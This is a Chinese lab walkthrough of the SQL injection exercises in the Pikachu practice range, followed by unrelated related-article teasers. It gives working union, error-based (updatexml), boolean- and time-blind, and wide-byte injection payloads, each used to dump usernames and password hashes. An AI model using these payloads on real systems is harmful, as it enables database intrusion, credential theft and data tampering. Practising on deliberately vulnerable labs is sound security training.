Pikachu靶场--Sql Inject

参考借鉴

pikachu靶场练习(详细,完整,适合新手阅读)-CSDN博客

数字型注入(post)

这种类型的SQL注入利用在用户输入处插入数值,而不是字符串。攻击者试图通过输入数字来修改SQL查询的逻辑,以执行恶意操作。

选择序号进行查询 

在提交查询的同时BP抓包

右键-->发送给Repeater

判断为数字型注入,寻找注入点

拼接该语句,回显正常

id=3 order by 2

拼接该语句,回显报错,说明回显位为2

id=3 order by 3

拼接该语句,得到数据库名:pikachu,数据库版本:5.7.26

id=3 union select database(),version()

拼接该语句,得到pikachu库的表名

id=0 union select 3,group_concat(table_name) from information_schema.tables where table_schema=database()

拼接该语句,得到user表的字段名

id=0 union select 3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

拼接该语句,得到用户名和密码

id=0 union select username,password from users

成功获得用户名和密码,MD5解密即可

                

字符型注入(get)

字符型注入是通过在用户输入中注入恶意字符串来进行攻击。这些字符串可能包含SQL查询中的特殊字符或SQL语句的一部分,从而改变其原意。

输入username-->查询-->输入的内容被放到url

输入lili' 报错,输入lili'-- hello显示正常,判断为字符型   单引号闭合

输入该语句,回显正常

lili' order by 2-- hello

输入该语句,回显报错,说明回显位为2

lili' order by 3-- hello

输入该语句,得到数据库名:pikachu,数据库版本:5.7.26

lili' union select database(),version()-- hello

输入该语句,得到pikachu库的表名

lili' union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'-- hello

输入该语句,得到user表的字段名

lili' union select 1, group_concat(column_name) from information_schema.columns where table_schema = 'pikachu' and table_name = 'users'-- hello

输入该语句,得到用户名和密码

lili' union select username, password from users-- hello

成功获得用户名和密码,MD5解密即可

                 

搜索型注入

这种注入利用在搜索表单或查询中输入的内容。攻击者可以通过搜索字段注入SQL代码,执行恶意查询或获取未授权信息。

同字符型注入(get)的做法一样,闭合方式也是只不过回显位为3

解题参照上文

lili' union select 1,database(),version()-- hello

         

xx型注入

同字符型注入(get)的做法一样,只不过闭合方式是'))回显位为2

解题参照上文

lili') union select database(),version()-- hello

                

insert/update注入

这种注入类型发生在INSERTUPDATE语句中,攻击者通过恶意构造的数据插入或更新数据库,可能导致数据损坏、篡改或非预期的操作。

注册用户

注册用户的同时,BP抓包

右键-->发送给Repeater

拼接该语句,得到数据库名:pikachu

username=hello 'or updatexml(1,concat(0x7e,database()),1) or' 

拼接该语句,数据库版本:5.7.26

username=hello 'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or' 

拼接该语句,得到pikachu库的表名

用户名要是错的,才会执行报错函数,获取表名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or' 

拼接该语句,得到user表的字段名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e),1) or' 

拼接该语句,得到用户名和密码

username=0 'or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or' 

成功获得用户名和密码,MD5解密即可

                

delete注入

Delete注入是指攻击者利用恶意构造的输入来删除数据库中的数据,这种攻击可以极大地破坏数据库完整性。

写入一条留言 

在删除留言的同时BP抓包-->发送给Repeater

发现有一个变化的id值,可能存在注入点,尝试用报错注入

BP的GET请求中输入sql语句时,空格用+代替,否则出错

拼接该语句,得到数据库名:pikachu

?id=61+or+updatexml+(1,concat(0x7e,database(),0x7e),1)+ 

拼接该语句,得到pikachu库的表名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='pikachu'),0x7e),1)+ 

拼接该语句,得到user表的字段名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='users'),0x7e),1)+ 

拼接该语句,得到用户名和密码

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(username,password)+from+users),0x7e),1)+ 

成功获得用户名和密码,MD5解密即可

                

http header注入

这种类型的注入利用HTTP请求或响应头部中的输入来执行攻击。攻击者可以在头部中插入特定字符,从而影响服务器的处理逻辑或者进行信息泄露。

提示-->获取username和password 

在登录的同时BP抓包

没发现注入点,但发现界面上的信息被BP抓取

右键-->发送给Repeater

因为User-Agent和Accept展示在界面中,所以可以修改这两处

以修改User-Agent为例:拼接该语句,得到数据库名:pikachu

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

拼接该语句,得到pikachu库的表名

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'

拼接该语句,得到user表的字段名

'or updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e),1) or'

拼接该语句,得到用户名和密码

'or updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or'

成功获得用户名和密码,MD5解密即可

以上以修改User-Agent为例,也可以修改Accept

                

盲注(base on boolian)

盲注是一种无法直接从响应中获取数据的注入攻击,攻击者通过发送特定的SQL查询,根据应用程序在查询结果中返回的布尔值(真或假)来推断数据库的结构和内容。

查询 lili' 不存在

查询 lili' -- hello,回显正常,判断为单引号闭合

拼接该语句,改变数字查看回显,得到数据库名字的长度:7

lili' and length(database())=7-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and substr(database(),1,1)='p'-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第二个字母:i

lili' and substr(database(),2,1)='i'-- hello

猜测数据库名为:pikachu

lili' and substr(database(),1,7)='pikachu'-- hello

成功获得数据库名

接下来用同样的方法猜测表名

①用group_concat猜---费时

②写python脚本自己跑

③使用sqlmap自动注入工具

         

盲注(base on time)

基于时间的盲注是一种通过观察应用程序对恶意查询的响应时间来推断数据库的内容。攻击者可以发送一个查询,如果应用程序对其作出延迟响应,则说明条件成立。

拼接该语句,立马加载完毕(无效)

lili and sleep(5)-- hello

拼接该语句,5秒后加载完毕(有效),所以本题是单引号闭合

lili' and sleep(5)-- hello

拼接该语句,改变数字查看回显速度,得到数据库名字的长度:7

lili' and if (length(database())=7,sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),1,1)='p',sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),2,1)='i',sleep(5),1)-- hello

猜测数据库名为:pikachu

lili' and if(substr(database(),1,7)='pikachu',sleep(5),1)-- hello

成功获得数据库名

接下来用同样的方法猜测表名

用group_concat猜---费时

写python脚本自己跑

使用sqlmap自动注入工具

         

宽字节注入

宽字节注入利用数据库在处理双字节编码(如UTF-8)时的特性来执行攻击。攻击者通过在输入中插入特定的宽字节字符,可能绕过常规的输入过滤机制,从而成功执行注入。

在提交查询的同时BP抓包

它和联合注入类似,只是要在内容后面添加%df

name=lili%df' or 1=1-- hello

拼接该语句,测试得到回显位的数量

name=1%df' union select 1,2-- hello

拼接该语句,得到数据库名:pikachu

name=1%df' union select 1,database()-- hello

拼接该语句,得到pikachu库的表名

name=1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- hello

拼接该语句,得到user表的字段名

name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)-- hello

拼接该语句,得到用户名和密码

name=1%df' union select username,password from users-- hello

 成功获得用户名和密码,MD5解密即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/863797.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unity Shader 极坐标

Unity Shader 极坐标 前言项目简单极坐标极坐标变体之方形极坐标变体之圆形拉花 鸣谢 前言 极坐标记录 项目 简单极坐标 极坐标变体之方形 极坐标变体之圆形 拉花 鸣谢 【菲兹杂货铺】【Unity Shader教程】极坐标实现以及极坐标的两种变体

【87 backtrader期权策略】基于50ETF期权的covered-call-strategy

前段时间有读者希望能够实现一个期权策略的模板,这段时间通过akshare下载了期权的数据,并进行了清洗,写了一个最简单的期权策略,供大家参考。 策略逻辑: 这是151 trading strategies中的一个期权策略。 买入50ETF基金,手续费按照万分之二计算,一直持有卖出一个最远期的…

【实施】系统实施方案(软件方案Word)

软件实施方案 二、 项目介绍 三、 项目实施 四、 项目实施计划 五、 人员培训 六、 项目验收 七、 售后服务 八、 项目保障措施 软件开发全套资料获取:私信或者进主页获取。 软件产品,特别是行业解决方案软件产品不同于一般的商品,用户购买软…

13_旷视轻量化网络--ShuffleNet V2

回顾一下ShuffleNetV1:08_旷视轻量化网络--ShuffleNet V1-CSDN博客 1.1 简介 ShuffleNet V2是在2018年由旷视科技的研究团队提出的一种深度学习模型,主要用于图像分类和目标检测等计算机视觉任务。它是ShuffleNet V1的后续版本,重点在于提供更高效的模…

antd Select前端加模糊搜索

背景&#xff1a;前端的小伙伴经常在开发antd Select的时候后端不提供搜索模糊搜索接口&#xff0c;而是全量返回数据&#xff0c;这个时候就需要我们前端自己来写一个模糊搜索了。 效果 代码截图 代码 <SelectshowSearchmode"multiple"options{studioList}filte…

运维锅总详解Prometheus

本文尝试从Prometheus简介、架构、各重要组件详解、relable_configs最佳实践、性能能优化及常见高可用解决方案等方面对Prometheus进行详细阐述。希望对您有所帮助&#xff01; 一、Prometheus简介 Prometheus 是一个开源的系统监控和报警工具&#xff0c;最初由 SoundCloud …

基于模糊神经网络的时间序列预测(以hopkinsirandeath数据集为例,MATLAB)

模糊神经网络从提出发展到今天,主要有三种形式&#xff1a;算术神经网络、逻辑模糊神经网络和混合模糊神经网络。算术神经网络是最基本的&#xff0c;它主要是对输入量进行模糊化&#xff0c;且网络结构中的权重也是模糊权重&#xff1b;逻辑模糊神经网络的主要特点是模糊权值可…

Python技术笔记汇总(含语法、工具库、数科、爬虫等)

对Python学习方法及入门、语法、数据处理、数据可视化、空间地理信息、爬虫、自动化办公和数据科学的相关内容可以归纳如下&#xff1a; 一、Python学习方法 分解自己的学习目标&#xff1a;可以将学习目标分基础知识&#xff0c;进阶知识&#xff0c;高级应用&#xff0c;实…

2024 vue3入门教程:windows系统下部署node环境

一、打开下载的node官网 Node.js — 下载 Node.js 二、根据个人喜好的下载方法&#xff0c;下载到自己的电脑盘符下 三、我用的是方法3下载的压缩包&#xff0c;解压到E盘nodejs目录下&#xff08;看个人&#xff09; 四、配置电脑的环境变量&#xff0c;新建环境变量的时候…

【ESP32】打造全网最强esp-idf基础教程——14.VFS与SPIFFS文件系统

VFS与SPIFFS文件系统 这几天忙着搬砖&#xff0c;差点没时间更新博客了&#xff0c;所谓一日未脱贫&#xff0c;打工不能停&#xff0c;搬砖不狠&#xff0c;明天地位不稳呀。 不多说了&#xff0c;且看以下内容吧~ 一、VFS虚拟文件系统 先来看下文件系统的定义&#x…

vue中【事件修饰符号】详解

在Vue中&#xff0c;事件修饰符是一种特殊的后缀&#xff0c;用于修改事件触发时的默认行为。以下是Vue中常见的事件修饰符的详细解释&#xff1a; .stop 调用event.stopPropagation()&#xff0c;阻止事件冒泡。当你在嵌套元素中都有相同的事件监听器&#xff08;如click事件…

AI模型的奥运会:谁将在OlympicArena中夺冠?

获取本文论文原文PDF&#xff0c;请在公众号【AI论文解读】留言&#xff1a;论文解读 引言&#xff1a;AI模型的奥林匹克级评测 评估和比较不同AI模型的性能始终是一个核心话题。随着技术的不断进步&#xff0c;这些模型在处理复杂任务的能力上有了显著的提升。为了更精确地衡…

Vue3学习笔记<->创建第一个vue项目(2)

新建一个项目目录 找一个盘新建一个目录&#xff0c;我这里在D盘创建一个vuedemo目录作为项目存放的目录。使用idea打开目录。   单击ieda底部的按钮“Terminal”&#xff0c;打开命令行窗口&#xff0c;如果命令行窗口当前目录不是“vuedemo”&#xff0c;就切换到“vuedem…

qt文件如何打包成一个独立的exe文件

QT官方给我们安装好了打包软件&#xff0c;就在你QT安装的位置 把这个在cmd打开C:\Qt\6.7.1\mingw_64\bin\windeployqt6.exe&#xff08;或复制地址&#xff09; 然后把要打包项目的exe复制到新的空文件夹&#xff0c;再复制他的地址 按回车后生成新文件 再下载打包软件&#…

东方航空逆向

声明(lianxi a15018601872) 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; …

【AIGC】AnimateAnyone:AI赋予静态照片生命力的魔法

摘要&#xff1a; 在人工智能技术的不断进步中&#xff0c;AnimateAnyone项目以其创新性和易用性脱颖而出&#xff0c;成为GitHub上备受瞩目的AI项目之一。由阿里巴巴智能计算研究院开发的这一技术&#xff0c;允许用户通过提供一张静态照片&#xff0c;快速生成动态角色。本文…

Linux实用命令练习

目录 一、常用命令 二、系统命令 三、用户和组 四、权限 五、文件相关命令 六、查找 七、正则表达式 八、输入输出重定向 九、进程控制 十、其他命令 1、远程文件复制&#xff1a;scp 2、locate查找 3、which命令 4、设置或显示环境变量&#xff1a;export 5、修…

YOLO-V1

一、YOLO-V1整体思想与网络架构 1.1 YOLO算法整体思路解读 YOLO-V1: 经典的one-stage方法 把检测问题转化成回归问题&#xff0c;一个CNN就搞定了&#xff01; 可以对视频进行实时检测&#xff0c;应用领域非常广&#xff01; 核心思想&#xff1a; 1、预测一张图像中有哪些物…

11_电子设计教程基础篇(磁性元件)

文章目录 前言一、电感1、原理2、种类1、制作工艺2、用途 3、参数1、测试条件2、电感量L3、品质因素Q4、直流电阻&#xff08;DCR&#xff09;5、额定电流6、谐振频率SRF&#xff08;Self Resonant Frequency&#xff09;7、磁芯损耗 4、应用与选型 二、共模电感1、原理2、参数…